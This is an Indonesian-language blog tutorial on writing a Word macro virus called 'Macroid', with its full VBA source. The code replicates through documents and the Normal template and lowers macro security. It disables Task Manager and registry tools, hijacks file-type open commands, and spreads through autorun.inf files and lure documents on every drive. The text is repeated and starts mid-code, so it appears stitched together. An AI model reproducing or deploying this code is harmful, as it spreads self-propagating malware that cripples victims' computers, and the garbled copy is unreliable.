Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)
if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini.
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project
Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word
  2. buka tools > Macro> Visual Basic Editor
Lalu kita ketikkan source virus nya pada kotak putih diatas.
Source yang harus diketik
‘This is my code’s virus
‘Macro Viruses
‘[Macroid]
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(“windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then
Open Environ$(“windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(“Tools”).Controls(“Macro”).Visible = False
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
CommandBars(“Tools”).Controls(“Customize…”).Visible = False
CommandBars(“Tools”).Controls(“Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)
if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini.
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project